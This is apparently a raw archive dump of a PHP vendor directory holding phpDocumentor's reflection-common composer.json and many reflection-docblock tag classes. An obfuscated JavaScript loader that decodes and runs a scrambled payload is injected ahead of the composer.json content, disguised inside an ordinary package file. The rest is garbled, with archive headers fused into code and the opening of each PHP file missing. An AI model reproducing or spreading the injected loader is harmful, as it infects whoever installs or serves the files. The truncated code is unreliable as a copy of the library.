SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. res/readability/vendor/phpdocumentor/reflection-common/composer.json000064400000007165147577714370022213 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();{ "name": "phpdocumentor/reflection-common", "keywords": ["phpdoc", "phpDocumentor", "reflection", "static analysis", "FQSEN"], "homepage": "http://www.phpdoc.org", "description": "Common reflection classes used by phpdocumentor to reflect the code structure", "license": "MIT", "authors": [ { "name": "Jaap van Otterdijk", "email": "opensource@ijaap.nl" } ], "require": { "php": "^7.2 || ^8.0" }, "autoload" : { "psr-4" : { "phpDocumentor\\Reflection\\": "src/" } }, "require-dev": { }, "extra": { "branch-alias": { "dev-2.x": "2.x-dev" } } } res/readability/vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/Factory/StaticMethod.php000064400000001027147577714370027625 0ustar00maxLen = max($this->maxLen, strlen($tag->getName())); } } /** * Formats the given tag to return a simple plain text version. */ public function format(Tag $tag): string { return '@' . $tag->getName() . str_repeat( ' ', $this->maxLen - strlen($tag->getName()) + 1 ) . $tag; } } vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/Formatter/PassthroughFormatter.php000064400000001243147577714370031705 0ustar00res/readabilitygetName() . ' ' . $tag); } } res/readability/vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/Reference/Url.php000064400000001300147577714370026260 0ustar00uri = $uri; } public function __toString(): string { return $this->uri; } } res/readability/vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/Reference/Fqsen.php000064400000001437147577714370026605 0ustar00fqsen = $fqsen; } /** * @return string string representation of the referenced fqsen */ public function __toString(): string { return (string) $this->fqsen; } } res/readability/vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/Reference/Reference.php000064400000000714147577714370027424 0ustar00name = $name; $this->body = $body; } public function getException(): ?Throwable { return $this->throwable; } public function getName(): string { return $this->name; } public static function create(string $body, string $name = ''): self { return new self($name, $body); } public function withError(Throwable $exception): self { $this->flattenExceptionBacktrace($exception); $tag = new self($this->name, $this->body); $tag->throwable = $exception; return $tag; } /** * Removes all complex types from backtrace * * Not all objects are serializable. So we need to remove them from the * stored exception to be sure that we do not break existing library usage. */ private function flattenExceptionBacktrace(Throwable $exception): void { $traceProperty = (new ReflectionClass(Exception::class))->getProperty('trace'); $traceProperty->setAccessible(true); do { $trace = $exception->getTrace(); if (isset($trace[0]['args'])) { $trace = array_map( function (array $call): array { $call['args'] = array_map([$this, 'flattenArguments'], $call['args'] ?? []); return $call; }, $trace ); } $traceProperty->setValue($exception, $trace); $exception = $exception->getPrevious(); } while ($exception !== null); $traceProperty->setAccessible(false); } /** * @param mixed $value * * @return mixed * * @throws ReflectionException */ private function flattenArguments($value) { if ($value instanceof Closure) { $closureReflection = new ReflectionFunction($value); $value = sprintf( '(Closure at %s:%s)', $closureReflection->getFileName(), $closureReflection->getStartLine() ); } elseif (is_object($value)) { $value = sprintf('object(%s)', get_class($value)); } elseif (is_resource($value)) { $value = sprintf('resource(%s)', get_resource_type($value)); } elseif (is_array($value)) { $value = array_map([$this, 'flattenArguments'], $value); } return $value; } public function render(?Formatter $formatter = null): string { if ($formatter === null) { $formatter = new Formatter\PassthroughFormatter(); } return $formatter->format($this); } public function __toString(): string { return $this->body; } } res/readability/vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/Formatter.php000064400000001017147577714370025570 0ustar00startingLine = (int) $startingLine; $this->lineCount = $lineCount !== null ? (int) $lineCount : null; $this->description = $description; } public static function create( string $body, ?DescriptionFactory $descriptionFactory = null, ?TypeContext $context = null ): self { Assert::stringNotEmpty($body); Assert::notNull($descriptionFactory); $startingLine = 1; $lineCount = null; $description = null; // Starting line / Number of lines / Description if (preg_match('/^([1-9]\d*)\s*(?:((?1))\s+)?(.*)$/sux', $body, $matches)) { $startingLine = (int) $matches[1]; if (isset($matches[2]) && $matches[2] !== '') { $lineCount = (int) $matches[2]; } $description = $matches[3]; } return new static($startingLine, $lineCount, $descriptionFactory->create($description ?? '', $context)); } /** * Gets the starting line. * * @return int The starting line, relative to the structural element's * location. */ public function getStartingLine(): int { return $this->startingLine; } /** * Returns the number of lines. * * @return int|null The number of lines, relative to the starting line. NULL * means "to the end". */ public function getLineCount(): ?int { return $this->lineCount; } public function __toString(): string { if ($this->description) { $description = $this->description->render(); } else { $description = ''; } $startingLine = (string) $this->startingLine; $lineCount = $this->lineCount !== null ? ' ' . $this->lineCount : ''; return $startingLine . $lineCount . ($description !== '' ? ' ' . $description : ''); } } res/readability/vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/PropertyWrite.php000064400000007014147577714370026467 0ustar00name = 'property-write'; $this->variableName = $variableName; $this->type = $type; $this->description = $description; } public static function create( string $body, ?TypeResolver $typeResolver = null, ?DescriptionFactory $descriptionFactory = null, ?TypeContext $context = null ): self { Assert::stringNotEmpty($body); Assert::notNull($typeResolver); Assert::notNull($descriptionFactory); [$firstPart, $body] = self::extractTypeFromBody($body); $type = null; $parts = Utils::pregSplit('/(\s+)/Su', $body, 2, PREG_SPLIT_DELIM_CAPTURE); $variableName = ''; // if the first item that is encountered is not a variable; it is a type if ($firstPart && $firstPart[0] !== '$') { $type = $typeResolver->resolve($firstPart, $context); } else { // first part is not a type; we should prepend it to the parts array for further processing array_unshift($parts, $firstPart); } // if the next item starts with a $ it must be the variable name if (isset($parts[0]) && strpos($parts[0], '$') === 0) { $variableName = array_shift($parts); if ($type) { array_shift($parts); } Assert::notNull($variableName); $variableName = substr($variableName, 1); } $description = $descriptionFactory->create(implode('', $parts), $context); return new static($variableName, $type, $description); } /** * Returns the variable's name. */ public function getVariableName(): ?string { return $this->variableName; } /** * Returns a string representation for this tag. */ public function __toString(): string { if ($this->description) { $description = $this->description->render(); } else { $description = ''; } if ($this->variableName) { $variableName = '$' . $this->variableName; } else { $variableName = ''; } $type = (string) $this->type; return $type . ($variableName !== '' ? ($type !== '' ? ' ' : '') . $variableName : '') . ($description !== '' ? ($type !== '' || $variableName !== '' ? ' ' : '') . $description : ''); } } res/readability/vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/See.php000064400000005740147577714370024350 0ustar00refers = $refers; $this->description = $description; } public static function create( string $body, ?FqsenResolver $typeResolver = null, ?DescriptionFactory $descriptionFactory = null, ?TypeContext $context = null ): self { Assert::notNull($descriptionFactory); $parts = Utils::pregSplit('/\s+/Su', $body, 2); $description = isset($parts[1]) ? $descriptionFactory->create($parts[1], $context) : null; // https://tools.ietf.org/html/rfc2396#section-3 if (preg_match('#\w://\w#', $parts[0])) { return new static(new Url($parts[0]), $description); } return new static(new FqsenRef(self::resolveFqsen($parts[0], $typeResolver, $context)), $description); } private static function resolveFqsen(string $parts, ?FqsenResolver $fqsenResolver, ?TypeContext $context): Fqsen { Assert::notNull($fqsenResolver); $fqsenParts = explode('::', $parts); $resolved = $fqsenResolver->resolve($fqsenParts[0], $context); if (!array_key_exists(1, $fqsenParts)) { return $resolved; } return new Fqsen($resolved . '::' . $fqsenParts[1]); } /** * Returns the ref of this tag. */ public function getReference(): Reference { return $this->refers; } /** * Returns a string representation of this tag. */ public function __toString(): string { if ($this->description) { $description = $this->description->render(); } else { $description = ''; } $refers = (string) $this->refers; return $refers . ($description !== '' ? ($refers !== '' ? ' ' : '') . $description : ''); } } res/readability/vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/Throws.php000064400000003426147577714370025121 0ustar00name = 'throws'; $this->type = $type; $this->description = $description; } public static function create( string $body, ?TypeResolver $typeResolver = null, ?DescriptionFactory $descriptionFactory = null, ?TypeContext $context = null ): self { Assert::notNull($typeResolver); Assert::notNull($descriptionFactory); [$type, $description] = self::extractTypeFromBody($body); $type = $typeResolver->resolve($type, $context); $description = $descriptionFactory->create($description, $context); return new static($type, $description); } public function __toString(): string { if ($this->description) { $description = $this->description->render(); } else { $description = ''; } $type = (string) $this->type; return $type . ($description !== '' ? ($type !== '' ? ' ' : '') . $description : ''); } } res/readability/vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/BaseTag.php000064400000002170147577714370025134 0ustar00name; } public function getDescription(): ?Description { return $this->description; } public function render(?Formatter $formatter = null): string { if ($formatter === null) { $formatter = new Formatter\PassthroughFormatter(); } return $formatter->format($this); } } res/readability/vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/Var_.php000064400000006745147577714370024531 0ustar00name = 'var'; $this->variableName = $variableName; $this->type = $type; $this->description = $description; } public static function create( string $body, ?TypeResolver $typeResolver = null, ?DescriptionFactory $descriptionFactory = null, ?TypeContext $context = null ): self { Assert::stringNotEmpty($body); Assert::notNull($typeResolver); Assert::notNull($descriptionFactory); [$firstPart, $body] = self::extractTypeFromBody($body); $parts = Utils::pregSplit('/(\s+)/Su', $body, 2, PREG_SPLIT_DELIM_CAPTURE); $type = null; $variableName = ''; // if the first item that is encountered is not a variable; it is a type if ($firstPart && $firstPart[0] !== '$') { $type = $typeResolver->resolve($firstPart, $context); } else { // first part is not a type; we should prepend it to the parts array for further processing array_unshift($parts, $firstPart); } // if the next item starts with a $ it must be the variable name if (isset($parts[0]) && strpos($parts[0], '$') === 0) { $variableName = array_shift($parts); if ($type) { array_shift($parts); } Assert::notNull($variableName); $variableName = substr($variableName, 1); } $description = $descriptionFactory->create(implode('', $parts), $context); return new static($variableName, $type, $description); } /** * Returns the variable's name. */ public function getVariableName(): ?string { return $this->variableName; } /** * Returns a string representation for this tag. */ public function __toString(): string { if ($this->description) { $description = $this->description->render(); } else { $description = ''; } if ($this->variableName) { $variableName = '$' . $this->variableName; } else { $variableName = ''; } $type = (string) $this->type; return $type . ($variableName !== '' ? ($type !== '' ? ' ' : '') . $variableName : '') . ($description !== '' ? ($type !== '' || $variableName !== '' ? ' ' : '') . $description : ''); } } res/readability/vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/Version.php000064400000005306147577714370025257 0ustar00version = $version; $this->description = $description; } public static function create( ?string $body, ?DescriptionFactory $descriptionFactory = null, ?TypeContext $context = null ): ?self { if (empty($body)) { return new static(); } $matches = []; if (!preg_match('/^(' . self::REGEX_VECTOR . ')\s*(.+)?$/sux', $body, $matches)) { return null; } $description = null; if ($descriptionFactory !== null) { $description = $descriptionFactory->create($matches[2] ?? '', $context); } return new static( $matches[1], $description ); } /** * Gets the version section of the tag. */ public function getVersion(): ?string { return $this->version; } /** * Returns a string representation for this tag. */ public function __toString(): string { if ($this->description) { $description = $this->description->render(); } else { $description = ''; } $version = (string) $this->version; return $version . ($description !== '' ? ($version !== '' ? ' ' : '') . $description : ''); } } res/readability/vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/Param.php000064400000012261147577714370024670 0ustar00name = 'param'; $this->variableName = $variableName; $this->type = $type; $this->isVariadic = $isVariadic; $this->description = $description; $this->isReference = $isReference; } public static function create( string $body, ?TypeResolver $typeResolver = null, ?DescriptionFactory $descriptionFactory = null, ?TypeContext $context = null ): self { Assert::stringNotEmpty($body); Assert::notNull($typeResolver); Assert::notNull($descriptionFactory); [$firstPart, $body] = self::extractTypeFromBody($body); $type = null; $parts = Utils::pregSplit('/(\s+)/Su', $body, 2, PREG_SPLIT_DELIM_CAPTURE); $variableName = ''; $isVariadic = false; $isReference = false; // if the first item that is encountered is not a variable; it is a type if ($firstPart && !self::strStartsWithVariable($firstPart)) { $type = $typeResolver->resolve($firstPart, $context); } else { // first part is not a type; we should prepend it to the parts array for further processing array_unshift($parts, $firstPart); } // if the next item starts with a $ or ...$ or &$ or &...$ it must be the variable name if (isset($parts[0]) && self::strStartsWithVariable($parts[0])) { $variableName = array_shift($parts); if ($type) { array_shift($parts); } Assert::notNull($variableName); if (strpos($variableName, '$') === 0) { $variableName = substr($variableName, 1); } elseif (strpos($variableName, '&$') === 0) { $isReference = true; $variableName = substr($variableName, 2); } elseif (strpos($variableName, '...$') === 0) { $isVariadic = true; $variableName = substr($variableName, 4); } elseif (strpos($variableName, '&...$') === 0) { $isVariadic = true; $isReference = true; $variableName = substr($variableName, 5); } } $description = $descriptionFactory->create(implode('', $parts), $context); return new static($variableName, $type, $isVariadic, $description, $isReference); } /** * Returns the variable's name. */ public function getVariableName(): ?string { return $this->variableName; } /** * Returns whether this tag is variadic. */ public function isVariadic(): bool { return $this->isVariadic; } /** * Returns whether this tag is passed by reference. */ public function isReference(): bool { return $this->isReference; } /** * Returns a string representation for this tag. */ public function __toString(): string { if ($this->description) { $description = $this->description->render(); } else { $description = ''; } $variableName = ''; if ($this->variableName) { $variableName .= ($this->isReference ? '&' : '') . ($this->isVariadic ? '...' : ''); $variableName .= '$' . $this->variableName; } $type = (string) $this->type; return $type . ($variableName !== '' ? ($type !== '' ? ' ' : '') . $variableName : '') . ($description !== '' ? ($type !== '' || $variableName !== '' ? ' ' : '') . $description : ''); } private static function strStartsWithVariable(string $str): bool { return strpos($str, '$') === 0 || strpos($str, '...$') === 0 || strpos($str, '&$') === 0 || strpos($str, '&...$') === 0; } } res/readability/vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/Uses.php000064400000005121147577714370024544 0ustar00refers = $refers; $this->description = $description; } public static function create( string $body, ?FqsenResolver $resolver = null, ?DescriptionFactory $descriptionFactory = null, ?TypeContext $context = null ): self { Assert::notNull($resolver); Assert::notNull($descriptionFactory); $parts = Utils::pregSplit('/\s+/Su', $body, 2); return new static( self::resolveFqsen($parts[0], $resolver, $context), $descriptionFactory->create($parts[1] ?? '', $context) ); } private static function resolveFqsen(string $parts, ?FqsenResolver $fqsenResolver, ?TypeContext $context): Fqsen { Assert::notNull($fqsenResolver); $fqsenParts = explode('::', $parts); $resolved = $fqsenResolver->resolve($fqsenParts[0], $context); if (!array_key_exists(1, $fqsenParts)) { return $resolved; } return new Fqsen($resolved . '::' . $fqsenParts[1]); } /** * Returns the structural element this tag refers to. */ public function getReference(): Fqsen { return $this->refers; } /** * Returns a string representation of this tag. */ public function __toString(): string { if ($this->description) { $description = $this->description->render(); } else { $description = ''; } $refers = (string) $this->refers; return $refers . ($description !== '' ? ($refers !== '' ? ' ' : '') . $description : ''); } } res/readability/vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/Covers.php000064400000005172147577714370025074 0ustar00refers = $refers; $this->description = $description; } public static function create( string $body, ?DescriptionFactory $descriptionFactory = null, ?FqsenResolver $resolver = null, ?TypeContext $context = null ): self { Assert::stringNotEmpty($body); Assert::notNull($descriptionFactory); Assert::notNull($resolver); $parts = Utils::pregSplit('/\s+/Su', $body, 2); return new static( self::resolveFqsen($parts[0], $resolver, $context), $descriptionFactory->create($parts[1] ?? '', $context) ); } private static function resolveFqsen(string $parts, ?FqsenResolver $fqsenResolver, ?TypeContext $context): Fqsen { Assert::notNull($fqsenResolver); $fqsenParts = explode('::', $parts); $resolved = $fqsenResolver->resolve($fqsenParts[0], $context); if (!array_key_exists(1, $fqsenParts)) { return $resolved; } return new Fqsen($resolved . '::' . $fqsenParts[1]); } /** * Returns the structural element this tag refers to. */ public function getReference(): Fqsen { return $this->refers; } /** * Returns a string representation of this tag. */ public function __toString(): string { if ($this->description) { $description = $this->description->render(); } else { $description = ''; } $refers = (string) $this->refers; return $refers . ($description !== '' ? ($refers !== '' ? ' ' : '') . $description : ''); } } res/readability/vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/Return_.php000064400000003425147577714370025250 0ustar00name = 'return'; $this->type = $type; $this->description = $description; } public static function create( string $body, ?TypeResolver $typeResolver = null, ?DescriptionFactory $descriptionFactory = null, ?TypeContext $context = null ): self { Assert::notNull($typeResolver); Assert::notNull($descriptionFactory); [$type, $description] = self::extractTypeFromBody($body); $type = $typeResolver->resolve($type, $context); $description = $descriptionFactory->create($description, $context); return new static($type, $description); } public function __toString(): string { if ($this->description) { $description = $this->description->render(); } else { $description = ''; } $type = $this->type ? '' . $this->type : 'mixed'; return $type . ($description !== '' ? ' ' . $description : ''); } } res/readability/vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/Generic.php000064400000004646147577714370025214 0ustar00validateTagName($name); $this->name = $name; $this->description = $description; } /** * Creates a new tag that represents any unknown tag type. * * @return static */ public static function create( string $body, string $name = '', ?DescriptionFactory $descriptionFactory = null, ?TypeContext $context = null ): self { Assert::stringNotEmpty($name); Assert::notNull($descriptionFactory); $description = $body !== '' ? $descriptionFactory->create($body, $context) : null; return new static($name, $description); } /** * Returns the tag as a serialized string */ public function __toString(): string { if ($this->description) { $description = $this->description->render(); } else { $description = ''; } return $description; } /** * Validates if the tag name matches the expected format, otherwise throws an exception. */ private function validateTagName(string $name): void { if (!preg_match('/^' . StandardTagFactory::REGEX_TAGNAME . '$/u', $name)) { throw new InvalidArgumentException( 'The tag name "' . $name . '" is not wellformed. Tags may only consist of letters, underscores, ' . 'hyphens and backslashes.' ); } } } res/readability/vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/Author.php000064400000004677147577714370025106 0ustar00authorName = $authorName; $this->authorEmail = $authorEmail; } /** * Gets the author's name. * * @return string The author's name. */ public function getAuthorName(): string { return $this->authorName; } /** * Returns the author's email. * * @return string The author's email. */ public function getEmail(): string { return $this->authorEmail; } /** * Returns this tag in string form. */ public function __toString(): string { if ($this->authorEmail) { $authorEmail = '<' . $this->authorEmail . '>'; } else { $authorEmail = ''; } $authorName = $this->authorName; return $authorName . ($authorEmail !== '' ? ($authorName !== '' ? ' ' : '') . $authorEmail : ''); } /** * Attempts to create a new Author object based on the tag body. */ public static function create(string $body): ?self { $splitTagContent = preg_match('/^([^\<]*)(?:\<([^\>]*)\>)?$/u', $body, $matches); if (!$splitTagContent) { return null; } $authorName = trim($matches[1]); $email = isset($matches[2]) ? trim($matches[2]) : ''; return new static($authorName, $email); } } res/readability/vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/Deprecated.php000064400000005463147577714370025676 0ustar00version = $version; $this->description = $description; } /** * @return static */ public static function create( ?string $body, ?DescriptionFactory $descriptionFactory = null, ?TypeContext $context = null ): self { if (empty($body)) { return new static(); } $matches = []; if (!preg_match('/^(' . self::REGEX_VECTOR . ')\s*(.+)?$/sux', $body, $matches)) { return new static( null, $descriptionFactory !== null ? $descriptionFactory->create($body, $context) : null ); } Assert::notNull($descriptionFactory); return new static( $matches[1], $descriptionFactory->create($matches[2] ?? '', $context) ); } /** * Gets the version section of the tag. */ public function getVersion(): ?string { return $this->version; } /** * Returns a string representation for this tag. */ public function __toString(): string { if ($this->description) { $description = $this->description->render(); } else { $description = ''; } $version = (string) $this->version; return $version . ($description !== '' ? ($version !== '' ? ' ' : '') . $description : ''); } } res/readability/vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/Method.php000064400000020135147577714370025047 0ustar00 * @var array> */ private $arguments; /** @var bool */ private $isStatic; /** @var Type */ private $returnType; /** * @param array> $arguments * @phpstan-param array $arguments */ public function __construct( string $methodName, array $arguments = [], ?Type $returnType = null, bool $static = false, ?Description $description = null ) { Assert::stringNotEmpty($methodName); if ($returnType === null) { $returnType = new Void_(); } $this->methodName = $methodName; $this->arguments = $this->filterArguments($arguments); $this->returnType = $returnType; $this->isStatic = $static; $this->description = $description; } public static function create( string $body, ?TypeResolver $typeResolver = null, ?DescriptionFactory $descriptionFactory = null, ?TypeContext $context = null ): ?self { Assert::stringNotEmpty($body); Assert::notNull($typeResolver); Assert::notNull($descriptionFactory); // 1. none or more whitespace // 2. optionally the keyword "static" followed by whitespace // 3. optionally a word with underscores followed by whitespace : as // type for the return value // 4. then optionally a word with underscores followed by () and // whitespace : as method name as used by phpDocumentor // 5. then a word with underscores, followed by ( and any character // until a ) and whitespace : as method name with signature // 6. any remaining text : as description if ( !preg_match( '/^ # Static keyword # Declares a static method ONLY if type is also present (?: (static) \s+ )? # Return type (?: ( (?:[\w\|_\\\\]*\$this[\w\|_\\\\]*) | (?: (?:[\w\|_\\\\]+) # array notation (?:\[\])* )*+ ) \s+ )? # Method name ([\w_]+) # Arguments (?: \(([^\)]*)\) )? \s* # Description (.*) $/sux', $body, $matches ) ) { return null; } [, $static, $returnType, $methodName, $argumentLines, $description] = $matches; $static = $static === 'static'; if ($returnType === '') { $returnType = 'void'; } $returnType = $typeResolver->resolve($returnType, $context); $description = $descriptionFactory->create($description, $context); /** @phpstan-var array $arguments */ $arguments = []; if ($argumentLines !== '') { $argumentsExploded = explode(',', $argumentLines); foreach ($argumentsExploded as $argument) { $argument = explode(' ', self::stripRestArg(trim($argument)), 2); if (strpos($argument[0], '$') === 0) { $argumentName = substr($argument[0], 1); $argumentType = new Mixed_(); } else { $argumentType = $typeResolver->resolve($argument[0], $context); $argumentName = ''; if (isset($argument[1])) { $argument[1] = self::stripRestArg($argument[1]); $argumentName = substr($argument[1], 1); } } $arguments[] = ['name' => $argumentName, 'type' => $argumentType]; } } return new static($methodName, $arguments, $returnType, $static, $description); } /** * Retrieves the method name. */ public function getMethodName(): string { return $this->methodName; } /** * @return array> * @phpstan-return array */ public function getArguments(): array { return $this->arguments; } /** * Checks whether the method tag describes a static method or not. * * @return bool TRUE if the method declaration is for a static method, FALSE otherwise. */ public function isStatic(): bool { return $this->isStatic; } public function getReturnType(): Type { return $this->returnType; } public function __toString(): string { $arguments = []; foreach ($this->arguments as $argument) { $arguments[] = $argument['type'] . ' $' . $argument['name']; } $argumentStr = '(' . implode(', ', $arguments) . ')'; if ($this->description) { $description = $this->description->render(); } else { $description = ''; } $static = $this->isStatic ? 'static' : ''; $returnType = (string) $this->returnType; $methodName = $this->methodName; return $static . ($returnType !== '' ? ($static !== '' ? ' ' : '') . $returnType : '') . ($methodName !== '' ? ($static !== '' || $returnType !== '' ? ' ' : '') . $methodName : '') . $argumentStr . ($description !== '' ? ' ' . $description : ''); } /** * @param mixed[][]|string[] $arguments * @phpstan-param array $arguments * * @return mixed[][] * @phpstan-return array */ private function filterArguments(array $arguments = []): array { $result = []; foreach ($arguments as $argument) { if (is_string($argument)) { $argument = ['name' => $argument]; } if (!isset($argument['type'])) { $argument['type'] = new Mixed_(); } $keys = array_keys($argument); sort($keys); if ($keys !== ['name', 'type']) { throw new InvalidArgumentException( 'Arguments can only have the "name" and "type" fields, found: ' . var_export($keys, true) ); } $result[] = $argument; } return $result; } private static function stripRestArg(string $argument): string { if (strpos($argument, '...') === 0) { $argument = trim(substr($argument, 3)); } return $argument; } } res/readability/vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/Example.php000064400000012373147577714370025227 0ustar00filePath = $filePath; $this->startingLine = $startingLine; $this->lineCount = $lineCount; if ($content !== null) { $this->content = trim($content); } $this->isURI = $isURI; } public function getContent(): string { if ($this->content === null || $this->content === '') { $filePath = $this->filePath; if ($this->isURI) { $filePath = $this->isUriRelative($this->filePath) ? str_replace('%2F', '/', rawurlencode($this->filePath)) : $this->filePath; } return trim($filePath); } return $this->content; } public function getDescription(): ?string { return $this->content; } public static function create(string $body): ?Tag { // File component: File path in quotes or File URI / Source information if (!preg_match('/^\s*(?:(\"[^\"]+\")|(\S+))(?:\s+(.*))?$/sux', $body, $matches)) { return null; } $filePath = null; $fileUri = null; if ($matches[1] !== '') { $filePath = $matches[1]; } else { $fileUri = $matches[2]; } $startingLine = 1; $lineCount = 0; $description = null; if (array_key_exists(3, $matches)) { $description = $matches[3]; // Starting line / Number of lines / Description if (preg_match('/^([1-9]\d*)(?:\s+((?1))\s*)?(.*)$/sux', $matches[3], $contentMatches)) { $startingLine = (int) $contentMatches[1]; if (isset($contentMatches[2])) { $lineCount = (int) $contentMatches[2]; } if (array_key_exists(3, $contentMatches)) { $description = $contentMatches[3]; } } } return new static( $filePath ?? ($fileUri ?? ''), $fileUri !== null, $startingLine, $lineCount, $description ); } /** * Returns the file path. * * @return string Path to a file to use as an example. * May also be an absolute URI. */ public function getFilePath(): string { return trim($this->filePath, '"'); } /** * Returns a string representation for this tag. */ public function __toString(): string { $filePath = $this->filePath; $isDefaultLine = $this->startingLine === 1 && $this->lineCount === 0; $startingLine = !$isDefaultLine ? (string) $this->startingLine : ''; $lineCount = !$isDefaultLine ? (string) $this->lineCount : ''; $content = (string) $this->content; return $filePath . ($startingLine !== '' ? ($filePath !== '' ? ' ' : '') . $startingLine : '') . ($lineCount !== '' ? ($filePath !== '' || $startingLine !== '' ? ' ' : '') . $lineCount : '') . ($content !== '' ? ($filePath !== '' || $startingLine !== '' || $lineCount !== '' ? ' ' : '') . $content : ''); } /** * Returns true if the provided URI is relative or contains a complete scheme (and thus is absolute). */ private function isUriRelative(string $uri): bool { return strpos($uri, ':') === false; } public function getStartingLine(): int { return $this->startingLine; } public function getLineCount(): int { return $this->lineCount; } public function getName(): string { return 'example'; } public function render(?Formatter $formatter = null): string { if ($formatter === null) { $formatter = new Formatter\PassthroughFormatter(); } return $formatter->format($this); } } res/readability/vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/Property.php000064400000007000147577714370025447 0ustar00name = 'property'; $this->variableName = $variableName; $this->type = $type; $this->description = $description; } public static function create( string $body, ?TypeResolver $typeResolver = null, ?DescriptionFactory $descriptionFactory = null, ?TypeContext $context = null ): self { Assert::stringNotEmpty($body); Assert::notNull($typeResolver); Assert::notNull($descriptionFactory); [$firstPart, $body] = self::extractTypeFromBody($body); $type = null; $parts = Utils::pregSplit('/(\s+)/Su', $body, 2, PREG_SPLIT_DELIM_CAPTURE); $variableName = ''; // if the first item that is encountered is not a variable; it is a type if ($firstPart && $firstPart[0] !== '$') { $type = $typeResolver->resolve($firstPart, $context); } else { // first part is not a type; we should prepend it to the parts array for further processing array_unshift($parts, $firstPart); } // if the next item starts with a $ it must be the variable name if (isset($parts[0]) && strpos($parts[0], '$') === 0) { $variableName = array_shift($parts); if ($type) { array_shift($parts); } Assert::notNull($variableName); $variableName = substr($variableName, 1); } $description = $descriptionFactory->create(implode('', $parts), $context); return new static($variableName, $type, $description); } /** * Returns the variable's name. */ public function getVariableName(): ?string { return $this->variableName; } /** * Returns a string representation for this tag. */ public function __toString(): string { if ($this->description) { $description = $this->description->render(); } else { $description = ''; } if ($this->variableName) { $variableName = '$' . $this->variableName; } else { $variableName = ''; } $type = (string) $this->type; return $type . ($variableName !== '' ? ($type !== '' ? ' ' : '') . $variableName : '') . ($description !== '' ? ($type !== '' || $variableName !== '' ? ' ' : '') . $description : ''); } } res/readability/vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/TagWithType.php000064400000002650147577714370026042 0ustar00type; } /** * @return string[] */ protected static function extractTypeFromBody(string $body): array { $type = ''; $nestingLevel = 0; for ($i = 0, $iMax = strlen($body); $i < $iMax; $i++) { $character = $body[$i]; if ($nestingLevel === 0 && trim($character) === '') { break; } $type .= $character; if (in_array($character, ['<', '(', '[', '{'])) { $nestingLevel++; continue; } if (in_array($character, ['>', ')', ']', '}'])) { $nestingLevel--; continue; } } $description = trim(substr($body, strlen($type))); return [$type, $description]; } } res/readability/vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/Since.php000064400000005161147577714370024672 0ustar00version = $version; $this->description = $description; } public static function create( ?string $body, ?DescriptionFactory $descriptionFactory = null, ?TypeContext $context = null ): ?self { if (empty($body)) { return new static(); } $matches = []; if (!preg_match('/^(' . self::REGEX_VECTOR . ')\s*(.+)?$/sux', $body, $matches)) { return null; } Assert::notNull($descriptionFactory); return new static( $matches[1], $descriptionFactory->create($matches[2] ?? '', $context) ); } /** * Gets the version section of the 